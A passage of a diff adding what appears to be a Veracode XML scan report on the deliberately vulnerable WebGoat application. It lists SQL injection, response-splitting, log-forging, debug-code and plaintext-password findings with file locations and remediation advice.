+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
